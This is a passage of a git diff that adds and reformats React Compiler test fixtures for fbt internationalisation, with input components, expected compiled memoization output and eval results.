+ * (e.g. here, the JSXText children of the span element also use
+ * fbt whitespace rules)
+ */
+
+function Foo(props) {
+  return (
+    <fbt desc={'Dialog to show to user'}>
+      <span key={props.name}>
+        <fbt:param name="user name really long description for prettier">
+          {props.name}
+        </fbt:param>
+        !
+      </span>
+    </fbt>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{name: 'Jason'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+
+/**
+ * Note that fbt whitespace rules apply to the entire fbt subtree,
+ * not just direct children of fbt elements.
+ * (e.g. here, the JSXText children of the span element also use
+ * fbt whitespace rules)
+ */
+
+function Foo(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.name) {
+    t0 = fbt._(
+      "{=m0}",
+      [
+        fbt._implicitParam(
+          "=m0",
+          <span key={props.name}>
+            {fbt._(
+              "{user name really long description for prettier} !",
+              [
+                fbt._param(
+                  "user name really long description for prettier",
+
+                  props.name,
+                ),
+              ],
+              { hk: "rdgIJ" },
+            )}
+          </span>,
+        ),
+      ],
+      { hk: "32Ufy5" },
+    );
+    $[0] = props.name;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ name: "Jason" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>Jason !</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-subtree.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-subtree.tsx
new file mode 100644
index 000000000000..d6aa512b9a53
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-subtree.tsx
@@ -0,0 +1,26 @@
+import fbt from 'fbt';
+
+/**
+ * Note that fbt whitespace rules apply to the entire fbt subtree,
+ * not just direct children of fbt elements.
+ * (e.g. here, the JSXText children of the span element also use
+ * fbt whitespace rules)
+ */
+
+function Foo(props) {
+  return (
+    <fbt desc={'Dialog to show to user'}>
+      <span key={props.name}>
+        <fbt:param name="user name really long description for prettier">
+          {props.name}
+        </fbt:param>
+        !
+      </span>
+    </fbt>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{name: 'Jason'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-two-subtrees.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-two-subtrees.expect.md
new file mode 100644
index 000000000000..c421ccbe8102
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-two-subtrees.expect.md
@@ -0,0 +1,100 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+
+function Foo({name1, name2}) {
+  return (
+    <fbt desc="Text that is displayed when two people accepts the user's pull request.">
+      <fbt:param name="user1">
+        <span key={name1}>
+          <b>{name1}</b>
+        </span>
+      </fbt:param>
+      and
+      <fbt:param name="user2">
+        <span key={name2}>
+          <b>{name2}</b>
+        </span>
+      </fbt:param>
+      accepted your PR!
+    </fbt>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{name1: 'Mike', name2: 'Jan'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+
+function Foo(t0) {
+  const $ = _c(13);
+  const { name1, name2 } = t0;
+  let t1;
+  if ($[0] !== name1 || $[1] !== name2) {
+    let t2;
+    if ($[3] !== name1) {
+      t2 = <b>{name1}</b>;
+      $[3] = name1;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    let t3;
+    if ($[5] !== name1 || $[6] !== t2) {
+      t3 = <span key={name1}>{t2}</span>;
+      $[5] = name1;
+      $[6] = t2;
+      $[7] = t3;
+    } else {
+      t3 = $[7];
+    }
+    let t4;
+    if ($[8] !== name2) {
+      t4 = <b>{name2}</b>;
+      $[8] = name2;
+      $[9] = t4;
+    } else {
+      t4 = $[9];
+    }
+    let t5;
+    if ($[10] !== name2 || $[11] !== t4) {
+      t5 = <span key={name2}>{t4}</span>;
+      $[10] = name2;
+      $[11] = t4;
+      $[12] = t5;
+    } else {
+      t5 = $[12];
+    }
+    t1 = fbt._(
+      "{user1} and {user2} accepted your PR!",
+      [fbt._param("user1", t3), fbt._param("user2", t5)],
+      { hk: "2PxMie" },
+    );
+    $[0] = name1;
+    $[1] = name2;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ name1: "Mike", name2: "Jan" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span><b>Mike</b></span> and <span><b>Jan</b></span> accepted your PR!
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-two-subtrees.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-two-subtrees.tsx
new file mode 100644
index 000000000000..5662455b3ff6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-two-subtrees.tsx
@@ -0,0 +1,25 @@
+import fbt from 'fbt';
+
+function Foo({name1, name2}) {
+  return (
+    <fbt desc="Text that is displayed when two people accepts the user's pull request.">
+      <fbt:param name="user1">
+        <span key={name1}>
+          <b>{name1}</b>
+        </span>
+      </fbt:param>
+      and
+      <fbt:param name="user2">
+        <span key={name2}>
+          <b>{name2}</b>
+        </span>
+      </fbt:param>
+      accepted your PR!
+    </fbt>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{name1: 'Mike', name2: 'Jan'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.expect.md
index 5e67bbc16319..1af75896847c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text
@@ -16,7 +16,7 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.tsx
index a41d2e1a2f73..88ba27d0112e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace.tsx
@@ -1,7 +1,7 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text
@@ -12,5 +12,5 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-repro-invalid-mutable-range-destructured-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-repro-invalid-mutable-range-destructured-prop.expect.md
new file mode 100644
index 000000000000..4f81700bbb00
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-repro-invalid-mutable-range-destructured-prop.expect.md
@@ -0,0 +1,88 @@
+
+## Input
+
+```javascript
+import {fbt} from 'fbt';
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component({data}) {
+  const el = useMemo(
+    () => (
+      <fbt desc="user name">
+        <fbt:param name="name">{data.name ?? ''}</fbt:param>
+      </fbt>
+    ),
+    [data.name]
+  );
+  return <ValidateMemoization inputs={[data.name]} output={el} />;
+}
+
+const props1 = {data: {name: 'Mike'}};
+const props2 = {data: {name: 'Mofei'}};
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [props1],
+  sequentialRenders: [props1, props2, props2, props1, {...props1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { fbt } from "fbt";
+import { useMemo } from "react";
+import { ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(7);
+  const { data } = t0;
+  let t1;
+  if ($[0] !== data.name) {
+    t1 = fbt._("{name}", [fbt._param("name", data.name ?? "")], {
+      hk: "csQUH",
+    });
+    $[0] = data.name;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const el = t1;
+  let t2;
+  if ($[2] !== data.name) {
+    t2 = [data.name];
+    $[2] = data.name;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== el || $[5] !== t2) {
+    t3 = <ValidateMemoization inputs={t2} output={el} />;
+    $[4] = el;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+const props1 = { data: { name: "Mike" } };
+const props2 = { data: { name: "Mofei" } };
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [props1],
+  sequentialRenders: [props1, props2, props2, props1, { ...props1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":["Mike"],"output":"Mike"}</div>
+<div>{"inputs":["Mofei"],"output":"Mofei"}</div>
+<div>{"inputs":["Mofei"],"output":"Mofei"}</div>
+<div>{"inputs":["Mike"],"output":"Mike"}</div>
+<div>{"inputs":["Mike"],"output":"Mike"}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-repro-invalid-mutable-range-destructured-prop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-repro-invalid-mutable-range-destructured-prop.js
new file mode 100644
index 000000000000..a948755bb670
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-repro-invalid-mutable-range-destructured-prop.js
@@ -0,0 +1,23 @@
+import {fbt} from 'fbt';
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component({data}) {
+  const el = useMemo(
+    () => (
+      <fbt desc="user name">
+        <fbt:param name="name">{data.name ?? ''}</fbt:param>
+      </fbt>
+    ),
+    [data.name]
+  );
+  return <ValidateMemoization inputs={[data.name]} output={el} />;
+}
+
+const props1 = {data: {name: 'Mike'}};
+const props2 = {data: {name: 'Mofei'}};
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [props1],
+  sequentialRenders: [props1, props2, props2, props1, {...props1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.expect.md
index 7fa312c49f79..c23c485cde4b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text <fbt:param name="paramName">{value}</fbt:param> after text
@@ -15,7 +15,7 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.tsx
index 5e1b82907fec..6d79118ddd4f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-single-space-btw-param-and-text.tsx
@@ -1,7 +1,7 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text <fbt:param name="paramName">{value}</fbt:param> after text
@@ -11,5 +11,5 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.expect.md
index 2e792bf89648..f35e47082988 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
-import { Stringify } from "shared-runtime";
+import fbt from 'fbt';
+import {Stringify} from 'shared-runtime';
 
 export function Component(props) {
   let count = 0;
@@ -13,9 +13,9 @@ export function Component(props) {
   return (
     <Stringify>
       {fbt(
-        `for ${fbt.param("count", count)} experiences`,
+        `for ${fbt.param('count', count)} experiences`,
         `Label for the number of items`,
-        { project: "public" }
+        {project: 'public'}
       )}
     </Stringify>
   );
@@ -23,7 +23,7 @@ export function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: [1, 2, 3] }],
+  params: [{items: [1, 2, 3]}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.js
index 1b99662b2d4a..381ac4341511 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-template-string-same-scope.js
@@ -1,5 +1,5 @@
-import fbt from "fbt";
-import { Stringify } from "shared-runtime";
+import fbt from 'fbt';
+import {Stringify} from 'shared-runtime';
 
 export function Component(props) {
   let count = 0;
@@ -9,9 +9,9 @@ export function Component(props) {
   return (
     <Stringify>
       {fbt(
-        `for ${fbt.param("count", count)} experiences`,
+        `for ${fbt.param('count', count)} experiences`,
         `Label for the number of items`,
-        { project: "public" }
+        {project: 'public'}
       )}
     </Stringify>
   );
@@ -19,5 +19,5 @@ export function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: [1, 2, 3] }],
+  params: [{items: [1, 2, 3]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.expect.md
index 192c16048bdd..9ad917e6f788 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   const element = (
-    <fbt desc={"Dialog to show to user"}>
+    <fbt desc={'Dialog to show to user'}>
       Hello <fbt:param name="user name">{props.name}</fbt:param>
     </fbt>
   );
@@ -15,7 +15,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Jason" }],
+  params: [{name: 'Jason'}],
 };
 
 ```
@@ -27,27 +27,21 @@ import { c as _c } from "react/compiler-runtime";
 import fbt from "fbt";
 
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
   if ($[0] !== props.name) {
-    t0 = fbt._("Hello {user name}", [fbt._param("user name", props.name)], {
-      hk: "2zEDKF",
-    });
+    const element = fbt._(
+      "Hello {user name}",
+      [fbt._param("user name", props.name)],
+      { hk: "2zEDKF" },
+    );
+    t0 = element.toString();
     $[0] = props.name;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const element = t0;
-  let t1;
-  if ($[2] !== element) {
-    t1 = element.toString();
-    $[2] = element;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.js
index 3475a3262dd8..d80e6e399591 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-to-string.js
@@ -1,8 +1,8 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   const element = (
-    <fbt desc={"Dialog to show to user"}>
+    <fbt desc={'Dialog to show to user'}>
       Hello <fbt:param name="user name">{props.name}</fbt:param>
     </fbt>
   );
@@ -11,5 +11,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Jason" }],
+  params: [{name: 'Jason'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.expect.md
index 3bfd3bab52c1..420f3de7d403 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text <fbt:param name="paramName"> {value} </fbt:param> after text
@@ -15,7 +15,7 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.tsx
index 4bb8289873f3..51fdcc9eb050 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-around-param-value.tsx
@@ -1,7 +1,7 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text <fbt:param name="paramName"> {value} </fbt:param> after text
@@ -11,5 +11,5 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.expect.md
index 55326204caa4..1b060dacfeb1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text <fbt:param name="paramName">{value}</fbt:param> after text
@@ -17,7 +17,7 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.tsx
index a752607c6822..6beaa012f8ea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-whitespace-within-text.tsx
@@ -1,7 +1,7 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 const _ = fbt;
-function Component({ value }: { value: string }) {
+function Component({value}: {value: string}) {
   return (
     <fbt desc="descdesc">
       Before text <fbt:param name="paramName">{value}</fbt:param> after text
@@ -13,5 +13,5 @@ function Component({ value }: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "hello world" }],
+  params: [{value: 'hello world'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.expect.md
index 90f5ce66792b..eb021353999f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.expect.md
@@ -2,14 +2,14 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   return (
     <Foo
       value={
         <fbt desc="Description of the parameter">
-          <fbt:param name="value">{"0"}</fbt:param>%
+          <fbt:param name="value">{'0'}</fbt:param>%
         </fbt>
       }
     />
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.js
index df9c5d8ad4d1..e38e2f1c0cce 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-text-must-use-expression-container.js
@@ -1,11 +1,11 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
 function Component(props) {
   return (
     <Foo
       value={
         <fbt desc="Description of the parameter">
-          <fbt:param name="value">{"0"}</fbt:param>%
+          <fbt:param name="value">{'0'}</fbt:param>%
         </fbt>
       }
     />
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.expect.md
index 387031fc181c..66141f7f8d78 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
-function Component({ name, data, icon }) {
+function Component({name, data, icon}) {
   return (
     <Text type="body4">
       <fbt desc="Lorem ipsum">
@@ -29,20 +29,24 @@ import { c as _c } from "react/compiler-runtime";
 import fbt from "fbt";
 
 function Component(t0) {
-  const $ = _c(4);
+  const $ = _c(6);
   const { name, data, icon } = t0;
   let t1;
-  if ($[0] !== name || $[1] !== icon || $[2] !== data) {
+  if ($[0] !== data || $[1] !== icon || $[2] !== name) {
+    let t2;
+    if ($[4] !== name) {
+      t2 = <Text type="h4">{name}</Text>;
+      $[4] = name;
+      $[5] = t2;
+    } else {
+      t2 = $[5];
+    }
     t1 = (
       <Text type="body4">
         {fbt._(
           "{item author}{icon}{=m2}",
           [
-            fbt._param(
-              "item author",
-
-              <Text type="h4">{name}</Text>,
-            ),
+            fbt._param("item author", t2),
             fbt._param(
               "icon",
 
@@ -61,9 +65,9 @@ function Component(t0) {
         )}
       </Text>
     );
-    $[0] = name;
+    $[0] = data;
     $[1] = icon;
-    $[2] = data;
+    $[2] = name;
     $[3] = t1;
   } else {
     t1 = $[3];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.js
index 878e2cf4aa11..1a9b4313c56a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-element-content.js
@@ -1,6 +1,6 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
-function Component({ name, data, icon }) {
+function Component({name, data, icon}) {
   return (
     <Text type="body4">
       <fbt desc="Lorem ipsum">
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.expect.md
index 210bad8cf16e..c9a43bb075e8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
-import { identity } from "shared-runtime";
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   return (
@@ -27,16 +27,21 @@ import fbt from "fbt";
 import { identity } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(4);
   let t0;
   if ($[0] !== props.text) {
+    const t1 = identity(props.text);
+    let t2;
+    if ($[2] !== t1) {
+      t2 = <>{t1}</>;
+      $[2] = t1;
+      $[3] = t2;
+    } else {
+      t2 = $[3];
+    }
     t0 = (
       <Foo
-        value={fbt._(
-          "{value}%",
-          [fbt._param("value", <>{identity(props.text)}</>)],
-          { hk: "10F5Cc" },
-        )}
+        value={fbt._("{value}%", [fbt._param("value", t2)], { hk: "10F5Cc" })}
       />
     );
     $[0] = props.text;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.js
index 5498ee53b707..f911189ba132 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbtparam-with-jsx-fragment-value.js
@@ -1,5 +1,5 @@
-import fbt from "fbt";
-import { identity } from "shared-runtime";
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   return (
